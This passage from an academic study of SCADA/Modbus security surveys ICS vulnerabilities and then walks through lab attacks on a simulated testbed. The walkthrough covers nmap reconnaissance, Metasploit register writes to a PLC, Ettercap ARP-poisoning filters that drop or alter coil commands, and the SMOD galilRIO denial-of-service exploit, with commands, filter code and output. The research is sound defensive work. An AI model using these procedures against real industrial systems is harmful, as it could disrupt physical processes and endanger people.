an ICS.

5.1.1. Hardware Vulnerabilities

SCADA systems are equipped with multiple different hardware
components, that allow the system to properly operate. Com-
ponents such as deployed sensors (that collect the data), com-
municational media (such as antennas, wires etc.), PLCs and
RTUs that execute most of the controlled operations (as sent by
the HMI), or even the computer machines that host the essen-
tial parts of SCADA system (HMI, Data Historian etc.). Such
hardware, if exposed to a threat actor could lead to serious con-
sequences, since protecting the integrity of those systems are
vital for the proper operation of the SCADA system. Solely af-
fecting any of the aforementioned parts could possibly lead to
service interruptions. For example a threat actor, could destroy
the sensor that collect data, hence no data is ingested into the
systems anymore, or damaging any communication hardware
disrupting the communication.

It is worth mentioning that attacks targeting hardware com-
ponents, do not necessarily require the physical presence of the
threat actor. Malware, such as Stuxnet, an infamous worm de-
signed to target the hardware of critical infrastructure, show-
cased its catastrophic consequences [37]. Hardware trojans is
another type of malware that has became popular. These tro-
jans target the equipment’s hardware, with multiple goals, such
as downgrading the hardware’s performance, altering the func-
tionality of the targeted device, and could even result to Denial
of Service (DoS) attacks [38]. Such malware could be injected
during any time of the system’s lifecycle, and are usually deliv-
ered through infected USB drives, that upon mounting them on
the host, they proceed with the malware execution.

Another type of hardware attacks, involve unauthorized
users or threat actors to access and exploit equipments’ ports,
which are used for testing purposes, in order to steal data, alter
the firmware or even cause Denial of Service (Dos) attacks [?].

5.1.2. Firmware Vulnerabilities

The firmware is responsible for providing data and instruction,
on how to handle the hardware. It is being located as a layer,
between the hardware and the software of a component (such as
a PLC), and serves as a bridge between those two. A common
attack would be a threat actor accessing and modifying the de-
vice’s firmware, which would lead to taking full control over the
device’s functionality [39]. Such modifications could lead to se-
rious outcomes, such as service disruption (DoS), unauthorized
activities (via masking malicious activity within the firmware).

5.1.3. Software Vulnerabilities

A crucial part of SCADA system, is by no chance, the software
that allows the users to manage and control such systems. Such
is the HMI, that allows a user to monitor and send data to the
distributed field devices, hence maintaining the software’s in-
tegrity is a high priority, since security risks could lead to some
serious outcomes.

Software developed for SCADA systems is no different
than any other developed software, since it can also carry vul-
nerabilities that could potentially be exploited. Such vulnera-
bilities could occur during the software’s design phase, where
little to no security safeguards are implemented (not following
”Security by Design” processes). Three major software vulner-
abilities observed in SCADA systems, where due to absence of
input validation, authentication and access control, that could
lead to attacks such as RCE (Remote Code Execution), Buffer
Overflow, Injection Attacks [37].

Buffer overflow is a tactic that is commonly seen, where
due to improper field sanitization, the software is able to write
more data in its memory, exceeding its already allocated mem-
ory. An easy example could be a user being allowed to provide
an input within a field, data that exceeds the allocated by the
software memory, since no safeguard is implemented to allow a
user’s input, within a specified range.

Injection attacks, such as an SQLi (SQL Injection, such us
UNION attacks, Blind SQL injection, Time-based etc.), could
greatly affect a SCADA system. The fact that is, it is be-
cause the SCADA system uses the Data Historian, which is
a database. Allowing SQLi attacks, provide the threat actor,
to read, delete, or modify the database’s values, or even the
database itself. The threat actor could provide SQL code within
an input field, and due to improper sanitization, the actor could
retrieve data, alter records and tables, or even cause a DoS
attack (via deleting records, or causing the database to wait
through *"WAITFOR’ command).

Similarly to an SQL Injection attack, a Cross-site Script-
ing (XSS) attack, allows the threat actor to input within a field,
code (typically script code) that would be executed to a user,
upon visiting the web application. Based on OWASP’s attack
overview, the XSS attacks are typically categorized in three
main categories: Stored, Reflective and DOM based attacks.
Such attacks could potentially alter the content of the web ap-
plication’s page, access sensitive information, cookies, session
tokens etc. These attacks could have great impact, when for
instance, and administrator accesses the web application’s user
interface, and the malicious payload is executed (as it could be
stored in the back-end of the application), granting the threat
actor his desired results (session hijacking etc.).

5.1.4. Network Vulnerabilities

An essential part of an ICS, is of-course the communication
channels that are implemented in order to allow the different
components of the system to communicate, transfer data in or-
der to be able to properly operate. Hence just like every other
system, it has to face a set of vulnerabilities, that could either
rely of the protocols used, the technology used itself and possi-
bly due to absence of authentication or cryptography measures.
A common, yet effective attack that is observer, is Denial of
Service (DoS). Through this attack the threat actor is able to af-
fect or even disrupt the system’s operation, via sending multiple
requests to the target, preventing it overall from conducting its
operational duties. This is an effective attack, since the devices
are not able to process the amount incoming packages that can
lead to crashing, and such attacks are hard to prevent [40].
Additionally vulnerabilities due to the communication pro-
tocols can occur, that allow attacks such as eavesdropping on a
communication channel, lack of authentication (in DNP3 pro-
tocol) that may lead to impersonation attacks [40], or Man-in-
the-middle (MiTM) attacks, ARP spoofing and so on. The com-
munication protocols that are implemented in ICS were not de-



signed with security in mind since such vulnerabilities were not
commonly observed, therefore security measures (such as au-
thentication, use of cryptography) seem absent. Hence, a threat
actor could easily conduct a MiTM attack, since he could initi-
ate an ARP poisoning attack, in order to interfere the the targets’
communication, putting him in between. That would allow the
threat actor to sniff the related traffic, intercept the communica-
tion, or even deny the sent packets from one host to the other.

All of the aforementioned attacks, if carried out successful,
have the potential to gravely impact the systems that can lead
to great financial loss (due to disrupting the production), and in
some cases even endanger human lives

5.2. Attack Scenarios

Scope of this research is to focus in the network vulnerabilities
that lie within the communication protocols, which allow the
threat actors to conduct attacks. Therefore, for the tested attack
scenarios, we assume that the threat actor has already gained
the initial foothold on the infrastructure (e.g. compromised an
engineer workstation, either via a phishing/spearphishing attack
or via brute-forcing the user’s account). Through this compro-
mised host, the threat actor is able to scan the internal network,
gathering more information regarding the network architecture,
and based on those findings the threat actor can proceed with
conducting the attacks.

5.2.1. Internal Reconnaissance

Usually the next step once a threat actor has compromised and
has established persistence (through malwares, registry modifi-
cations, scheduled tasks/cron jobs etc.) to an internal host, is to
scan the internal network, to identify new hosts to pivot, pos-
sible services that could be exploited, and vulnerable machines
in order to laterally move until they reach their final goal (dis-
rupting the production, terrorist activity, exfiltrate critical data
etc.).

Popular network scanning tools (like Nmap, OpenVAS or
Nessus) could serve our internal network scanning purposes, but
it is know that SCADA equipment is prone to disruptions, due to
an active scan being conducted upon them [41]. Hence we can
avoid scanning the whole network within a small time frame,
and either target on known ports that are used by services, or by
limiting our scan via methods such as:

» Skip the port scan (-sn) when we only need to identify
the online hosts

» Skip advanced scan type (such us OS identification)

¢ Scan ports within a greater time span (could also help
with evading detections)

¢ Limit the scanned ports

Through this active scanning, the threat actor can gain more
information regarding the network’s topology, discover hosts
and active services, that he could later user as potential targets
to launch attacks.

Our first step would be to identify the live hosts on the net-
work. We will use the network scanning tool Nmap in order to
do so, via running the following command:

$ nmap -sP 192.168.1.0/24

This command will initiate a ping sweep scan across the /24
subnet, in order to discover which hosts are currently active.
Once we have identified the live hosts, the next step would be

to scan for the default port (502) clients use to communicate
through the Modbus protocol. This can be done via the com-
mand:

$ nmap 192.168.1.12 -p 502

As we can see in fig. I8, the results indicate that these is an
opened port on the host 192.168.1.11. This port would be most
likely used for any Modbus related communication.

A more aggressive way to scan for open ports, would be
to conduct a port sweep towards any targeted subnet, although
that could potentially raise suspicions, especially if any security
solution is in place that is able to detect such attacks. Similarly
to the previous command, a port sweep scan could be initiated
by:

$ nmap 192.168.1.0/24 —-p 502

2.168.1.11)

Nmap scan report for
Host is up (@.¢

PORT STATE SERVICE
open mbap

Figure 18: Port scanning results

Although the tool used in our case is Nmap, the same
methodology would be applied to any scanner, during the recon-
naissance period. A host discovery would initially take place,
followed by a more targeted scanning on the desired victim
hosts.

Another notable scanner is using Metasploit’s module scan-
ner/scada/modbusdetect, and through specifying the host(s) or
host range, we can identify for PLC device via sending Modbus
requests, and receiving valid Modbus/TCP headers.

msf6 auxiliary(

[+1 MODBUS/TCP header (unit-ID: 1)

Figure 19: Modbus Detect module

5.2.2. Network Sniffing

During the discovery phase, other than actively scanning the
internal network for active hosts, services, vulnerabilities etc.,
adversaries may also start sniffing the network traffic, in pur-
suance of monitoring and capturing information sent within the
network. Data over an unencrypted protocol could potentially
reveal sensitive data that could be easily captured, since the
Modbus packets are not encrypted.

Before moving on, a closer look on the Modbus over TCP
should be taken. In a nutshell Modbus over TCP, is standard
Modbus data frame into a TCP frame, without the Modbus
checksum [42].



Attack method Protocol

MITRE Tactic

MITRE Technique = Outcome

Internal Reconnaissance ICMP, TCP Discovery

Network Sniffing Modbus/TCP  Discovery

Man in the Middle Modbus/TCP  Collection

Unauthorized Parameter Modification =~ Modbus/TCP  Impair Process Control TO0836

Denial of Service

Modbus/TCP  Inhibit Response Function ~ T0814

T0846 Managed to identify the active
hosts, and which host was utilizing
the default Modbus protocol port
(502).

T0842 Managed to gather more specific in-
formation regarding the host’s com-
munication traffic.

TO0830 Managed to simulate a proxy be-
tween the victims, having access to
modify network traffic.

Managed to remotely modify the
PLC’s coils/registers.

Managed to make the target device
not accessinble for other hosts.

Table 3: Attack techniques conducted
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Figure 20: Modbus TCP Protocol

Hence the actual Function code and Data (combined com-
pose the PDU - Protocol Data Unit), embedded within a TCP
frame. The Application Data Unit (ADU), is longer of use, since
the TCP/IP link layer checksum methods are utilized instead, in
order to check for relative errors during the communication.

Therefore an adversary may use a packet sniffer in order
to get a detailed view of the internal communication. In our
case, we have utilized Wireshark, a widely user network proto-
col analyzer, that allows us to capture packets from a network
connection.

Upon starting Wireshark, we select the required network
interface, and we can start capturing the network traffic (fig.
21). Once Wireshark is initialized, and starts to sniff the internal
network traffic, we can proceed with adding a filter, in order
to overview the Modbus communication and filter any further
noise from the received packets. This can be done, by adding
the keyword modbus on the search bar (see fig. 22).
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Figure 21: Wireshark Initialization
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Figure 22: Wireshar Modbus filter

From the figure above, we can identify which host is con-
ducting the Challenge (typically the HMI), and who is Respond-
ing (typically the slave, e.g. PLC), along with the relative data
(e.g. fig. 22 the action of writing a register/coil). Hence the
adversary can create an overview of the internal network, and
possibly identify which endpoints are field devices, and which
endpoint sends over the commands.
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Figure 23: Modbus TCP Packet Sniffing

5.2.3. Unauthorized Parameter Modification

At this phase the adversary can proceed with launching attacks
which would be expected, since we have passed the host dis-
covery/enumeration and reconnaissance phase. In order to do
so, we chose to use the Metasploit framework, a widely used
exploitation framework, by both cyber criminals and penetra-
tion testers / red teamers during security assessments.

Lauching the Metasploit framework, can be easily done via
running the following command on our attacking machine:

$ msfconsole

After we are greeted by the Metasploit framework’s banner in
the terminal, we can proceed with searching the available Mod-
bus modules:

$ msf6 > search modbus

Figure 24: Modbus Available Modules

Out of the available modules, we will proceed with using
the module located in "auxiliary/scanner/scada/modbusclient”,
via the following command:

S msf6 > use 2

In order to configure the required options, we will have to
first see which options are available, in regards to the selected
module. To do so, we proceed with executing the following
command:

$ show options

Figure 25: Module Options

Hence, we can proceed with filling the required options to
our module, in order to launch our attack. Through this module
we are able to both read and write the targeted victim’s coils
and registers. To select the type of action, all we need to do is
specity it through the following command:

$ msf6 > set action "specified action"

ry( ) > set action
READ_COILS set action READ_ID

set action WRITE_COILS
set action READ_DISCRETE_INPUTS set action READ_INPUT_REGISTERS set action WRITE_REGISTER
set a READ_HOLDING_REGISTERS set action WRITE_COIL set action WRITE_REGISTERS

Figure 26: Available Module Actions

Other options we will have to configure, are:

$ msf6 > set DATA "data to be written"
msf6 > set DATA_ADDRESS "data address"
$ msf6 > set RHOSTS "target victim’s IP"

U

We can launch the exploitation, via running the command
exploit or run (see fig. 26).

t DATA 1@

t ACTION WRITE_REGISTER
TE_REGISTER

t RHI 192.

t DATA 1@

sf6 xiliar > set DATA_ADDR
DATA_ADDR

f6 ) > set ACTION WRITE_REGISTER
TE_REGISTER

t RHI 192.

Figure 27: Successful Write Register Exploitation

Hence, we can observe how easy it is for an adversary to
manipulate the devices’ values, using non intricate attacks, from
pre-existing tools that have been commonly used in the industry.
All that is required, is access to the internal network, conduct
the internal reconnaissance phase (in order to have an overview
of the infrastructure), and the devices’ values can be manipu-
lated as such.

5.2.4. Man in the Middle

Man in the Middle, is an attack technique, where the adversary
will attempt to put himself in between two or more network
devices, in order to conduct further malevolent actions (e.g.,
network sniffing, transmitted data manipulation). This can be
achieved via abusing common network protocols (such as Ad-
dress Resolution Protocol), where an adversary impersonates a



device, forcing the targeted victim to communicate with him,
intercepting the original communication.

The attack we shall demonstrate, was achieved via an ARP
poisoning attack, where the attacker attempts to modify the res-
olution of an IP address to a MAC address, in the ARP cache
of the remote victim [43]. ARP protocol is a protocol used to
identify the MAC address or a node corresponding to a given IP
address in the same sub-net [44], therefore we can poison the
ARP via registering address mapping in the ARP cache on the
targeted victims.

——

CLIENT SERVER

Figure 28: Man in the Middle Attack

In order to conduct such attack, we utilized the Ettercap
tool, an open source network tool commonly used for MiTM at-
tacks, network sniffing and transmitted data manipulation, and
it is also included in the Kali linux toolset by default. The
tool provides both a command line configuration, along with
a graphical user interface.

Before initiating the ARP poisoning to our victims (both
the PLC and the HMI hosts), we will need to create a filter,
that once compiled will be included to the Ettercap’s comman-
dline to further extend the tool’s capabilities. A simple example
would be to create a simple filter, that will detect any ’write’
action from the HMI, and once it detects it, the packet shall be
dropped. In order to do so, we would need to take a closer look,
on the Function Codes used by within the Modbus/TCP packet.
More specifically the function codes, in hex representation that
we will attempt to detect within the packet, are "x05” (Write
Single Coil), ”x06” (Write Single Register), ’x15” (Write Mul-
tiple Coils), and ”x16” (Write Multiple Registers).

Function Codes
code Sub  |(hex)|Section
code
Physical Discrete |Read Discrete Inputs 02 02 6.2
Inputs
n Read Coils 01 01 6.1
it | IntemalBils (Write Single Col 05 05 | 65
Physical coils  [Write Multiple Coils 15 OF | 6.11
Data Physical Input Read Input Register 04 04 6.4
Access Registers
Read Holding Registers 03 03 6.3
16 bits | | e rnal Reg Write Single Register 06 06 | 66
access or Write Multiple Registers 16 10 [ 6.12
Physical Output  [Read/Write Multiple Registers 23 17 | 6.17
Registers Mask Write Register 22 16 | 6.16
Read FIFO queue 24 18 | 6.18
Read File record 20 14 | 6.14
File record access Write File record 21 15 | 6.15
Read status 07 07 6.7
Diagnostic 08 [00-18,20| 08 6.8
Diagnostics Get Com event counter 11 OB | 6.9
Get Com Event Log 12 0oCc | 6.10
Report Slave ID 17 11 6.13
Read device Identification 43 14 2B | 6.21
Other Encapsulated Interface 43 13,14 | 2B 6.19
Transport

Figure 29: Public Fuction Code Definition

Figure 30: Operation code as seen from Wireshark

Hence, since we know the function code we are looking for,
the next step would be to identify the position of the code within
the Modbus/TCP packet. For that we would need to inspect
the packet’s structure. In more detail a Modbus TCP/IP packet,
consists of a Header, and the Protocol Data Unit (PDU). The
Header contains the following fields:

 Transaction ID: a 16-bit identifier that allows the server
to match the request to the corresponding response

* Protocol ID: a 16-bit field that identifies the protocol be-
ing used. For Modbus TCP/IP, this field is set to 0

* Length: a 16-bit field that specifies the length of the PDU
in bytes

» Unit ID: an 8-bit field that specifies the device (or "unit’)
that the request is being sent to

The Protocol Data Unit (PDU), contains the following
fields:

* Function Code: an 8-bit field that specifies the Modbus
function being requested.

e Data: additional data required for the function. The
structure of the data field depends on the function code.

Therefore the Function Code, is the eighth byte we are
looking, since the first two bytes are allocated for the Trans-
action ID, the next two for the Protocol ID, the next three for
the Length and Unit ID, and the next byte would be used for the
Function Code [45].

A fairly simple filter we could write (using Ettercap’s
scripting syntax) in order to let Ettercap know, what to do
with the incoming network flow, would be identifying the
aforementioned function codes and dropping the package.



if (ip.dst == ’'DST IP ADDRESS’ && tcp.dst
== 502) {
if (DATA.data + 7 == "\x05" ||
DATA.data + 7 == "\x15" ||
DATA.data + 7 == "\x06" ||
DATA.data + 7 == "\x16") {
drop () ;

msg ("Modbus write attempt was
prevented");

The code snippet above would be saved in a file ”WriteMes-
sagelnterceptor.filter”, and would be later compiled (using
switch -o for output) into a .ef extension via the following
command-line:

$ sudo etterfilter -o
WriteMessagelnterceptor.filter.ef
WriteMessagelInterceptor.filter

The filter compiled from the previous command will be
used in order to finally proceed with launching the attack, ARP
poisoning the victims and dropping any write attempts from the
HMI, via the command:

$ sudo ettercap -T -F
WriteMessagelInterceptor.filter.ef —g
-M arp /IP ADDRESS OF PLC// /IP
ADDRESS OF HMI//

The above command will attempt to only use text (-T
switch, not launching GUI), using the provided compiled fil-
ter (via the -F switch), running in ’quiet’ mode printing only the
logged messages, and finally selecting the running module for
our instance (-M switch for selecting the ARP poisoning mod-
ule). The PLC and HMI IP addresses should be explicitly de-
noted within the slashes, as shown in the above command-line
(e.g.,/192.168.1.55//).

In order to further showcase another probable Man in the
Middle attack, we have developed a script that also attempts
to replace certain actions from the incoming traffic, since the
attacker serves as a proxy between the two entities. In order to
do so, we would attempt to search for a specific string of bytes,
replacing them using the 'replace()’ function of Ettercap, with
the desired bytes. For example, in the script as shown bellow,
we are searching for the bytes ”x05”, ”x00”, ”x00”, xff”,
”x00” which co-respond to enabling/setting a coil to ’true’ or
1 (value of 0xFF0O will request coil to be ON). Therefore the
script will replace the value of setting the coil from ON to OFF
(value 0x0000).

ion Code: Write Single Coil (5)
2]

® E Data(modbus.data), 2 bytes

Figure 31: Write Coil Request - Set Value to True

if (ip.dst == 7192.168.1.12" && tcp.dst
== 502) {
#Check whether a coil is attempted to
be modified
if (DATA.data + 7 == "\x05") {

#Search whether the pump is attempted
to be opened, if so, keep it closed
search (DATA.data,
"\x05\x00\x00\xf£\x00") ;
replace ("\x05\x00\x00\xf£\x00",
"\x05\x00\x00\x00\x00") ;

#Print console message
msg ("A coil was attempted to be set to
"true’");

~/Documents
T -F InterceptCoilOpen.filter.ef

ord for kali

ment Team

n' script in the etter.conf file

1.12:502 wsc --index @ --value true
t] connected to: 192.168.1.12:502
error: a parameter expected to be echoed in the reply did not match

Figure 33: Set Coil to ON Attempt Prevented - HMI’s Side

5.2.5. Denial of Service

A Denial of Service attack is conducted by an adversary, when
he would like to tamper the targeted resources, impacting the
availability of those from other users. Some of the attacks we
have conducted, one could say that they could also be included
here. For example, when an adversary can remotely enable or
disable a field device (e.g., using Metasploit framework), the
result of that action could impact the users’ ability to access that
resource. Another example we covered is, serving as a proxy
between the HMI and field devices, intercepting their traffic via
dropping/altering the sent packets.

What would also be worth showcasing, is the effect of a
network denial of service, where typically an adversary would



attempt to send more packets that the field device could han-
dle, impacting the availability of that device. There are various
tools utilized in order to conduct a plethora of denial of ser-
vice methods (e.g., SYN/HTTP/UDP floods). Some of these
commonly used tools are: Slowloris, Hping, R-U-Dead-Yet
(RUDY), Metasploit framework and many others.

For our attack scenario, we have decided to utilize SMOD,
which is a modular framework that can conduct various attacks,
not only limited to denial of service attacks. Some brief ex-
amples of the included modules are shown in Table I. Some
of those modules have a similar functionality to some of other
modules we have utilized in Metasploit framework, and they
both follow a similar syntax.

For example, upon downloading the SMOD python scipt
(available on various GitHub repositories), we execute the script
using any Python 2.7.x version. If the script is properly run,
we will be greeted with a banner within the command-line, and
we can preview the available modules using the ‘show modules’
command. We have utilized the module 'modbus/dos/galilRIO’,
using the following command:

SMOD > use modbus/dos/galilRIO

The exploit Galil RIO-47100 (CVE-2013-0699) is an exploit
method of sending repeatedly packets, resulting in crashing the
PLC (cite from https://www.exploit-db.com/exploits/27131).
Upon selecting the module, we will proceed with configuring
the module’s options in order to conduct the exploit.

SMOD > show options

SMOD > set RHOST ’'PLC Destination IP
Address’

SMOD > set UID O

Before running the exploit, make sure to set the UID to a nu-
meric value (integer) since an exception will be thrown other-
wise. Once the configuration is done, the exploit can be execut-
ing via the command ’exploit’.

> use modbus/do ilRIO
modbus ) show options
Current Setting Required Description

modbus

rent th

Figure 34: SMOD - DoS Attack 1/2

While the attack is running, most of the requests sent from
the HMLI, are resulting in an timeout error, denying fully access
to the PLC device.

:-§ rodbus-client -h 192.168.1.12:502 wsc --index @ --value true
2022-12-31 18:45:34,116 [rodbus::tcp::client] connected to: 192.168.1.12:502
error: response timeout

:-$ rodbus-client -h 192.168.1.12:502 wsc --index 0 --
2022-12-31 18:45:38,420 [rodbus::tep::client] connected to: 192.168.1.

:§ rodbus-client -h 192.168.1.12:502 wsc --index 0

2022-12-31 18:45:43,263 [rodbus::tcp::client] connected to: 192.168.1.12:502
error: response timeout
1§ rodbus-client -h 192.168.1.12:502 wsc --index O --value true
2022-12-31 18:45:47,802 [rodbus::tcp::client] connected to: 192.168.1.12:502
5

Figure 35: SMOD - DoS Attack 2/2

Therefore, the damage that can be done, when critical in-
frastructure can not be accessed either on normal circumstances
or during an incident, can potentially lead to a catastrophic out-
come, especially when human intervention will be need in order
to interact with the field devices. A simple, yet high impact at-

tack method.

Table 4: SMOD Available Modules

Module Name

Description

modbus/dos/arp
modbus/dos/galilRIO
modbus/dos/write AllCoils
modbus/dos/write AlIRegister
modbus/dos/writeSingleCoils
modbus/dos/writeSingleRegister
modbus/function/fuzzing
modbus/function/readCoils

dbus ion/readCoilsE:
modbus/function/readDiscreteInput
modbus/function/readDiscreteInputException
modbus/function/readExceptionStatus
modbus/function/readHoldingRegister
modbus/function/readHoldi isterException
modbus/function/readInputRegister
RegisterException
modbus/function/writeSingleCoils

modbus/funct;

s ion/wr
modbus/scanner/arpWatcher
modbus/scanner/discover
modbus/scanner/getfunc
modbus/scanner/uid
modbus/sniff/arp

DOS with Arp Poisoning

DOS Galil RIO-47100

DOS With Write All Coils

DOS With Write All Register Function

DOS With Write Single Coil Function

DOS Write Single Register Function

Fuzzing Modbus Functions

Fuzzing Read Coils Function

Fuzzing Read Coils Exception Function

Fuzzing Read Discrete Inputs Function

Fuzzing Read Discrete Inputs Exception Function
Fuzzing Read Exception Status Function

Fuzzing Read Holding Registers Function
Fuzzing Read Holding Registers Exception Function
Fuzzing Read Input Registers Function

Fuzzing Read Input Registers Exception Function
Fuzzing Write Single Coil Function

Fuzzing Write Single Register Function

ARP Watcher

Check Modbus Protocols

Enumeration Function on Modbus

Brute Force UID

Arp Poisoning

6. Conclusions

In this study, we have covered the most commonly observed and
used protocols in Industrial Control Systems, as well as some
of the available simulation software for creating a simulated en-
vironment of an SCADA system. We compared these software
based on various factors, such us how demanding is to configure
the simulation software, the freedom they provide us to launch
various attacks, the availability of its software, how flexible it is
and whether there is adequate documentation available to assist
us during the deployment.

Some of the simulation software provide high flexibility in
terms of the simulation components, at the cost of increased
level of complexity, requiring higher technical knowledge (e.g.
programming skills) from the end users. For example OM-
NeT++, offers simulation of any desired component within an
industrial control system, supporting any communication pro-
tocol, due to its modularity. Although that is supported, it re-
quires considerably higher technical skills, compared to some
other simulation solutions we have researched.

Most of the simulation software is free of charge to obtain,
where others are either privately disclosed, are deprecated, or
acquiring a licence is required. Fortunately enough, we are not
limited in options, since various options are either extensible,
complex, or scalable, and are available with no charge. Such
software can eliminate the economical factor, and the end user
can still utilize these tools, to conduct the research.

We decided to use ModbusPal (for end device simulation)
along with Rodbus (human machine interface simulation), in
order to simulate our testbed. The benefit of choosing this com-
bination, is that we have a straightforward option, that requires
little to no, technical skills from the end user, allowing us to
focus more in the environment’s configuration (e.g. setting up
the slave devices, automations). The configuration was done,
mainly through the user interface of the software, requiring no
programming skills for a basic configuration. ModbusPal sup-
ports custom python scripts to create more tailored automations,
to meet the desired system’s needs.



Finally, we conducted various attacks, covering some of

the scenarios that could be executed within an industrial con-
trol system, once an adversary was obtained the initial foothold

within the environment.

We further showcased the low level

of difficulty required to manipulate the end devices, where in
critical infrastructures the impact could be critical, endangering
both the infrastructure and potentially human lifes.
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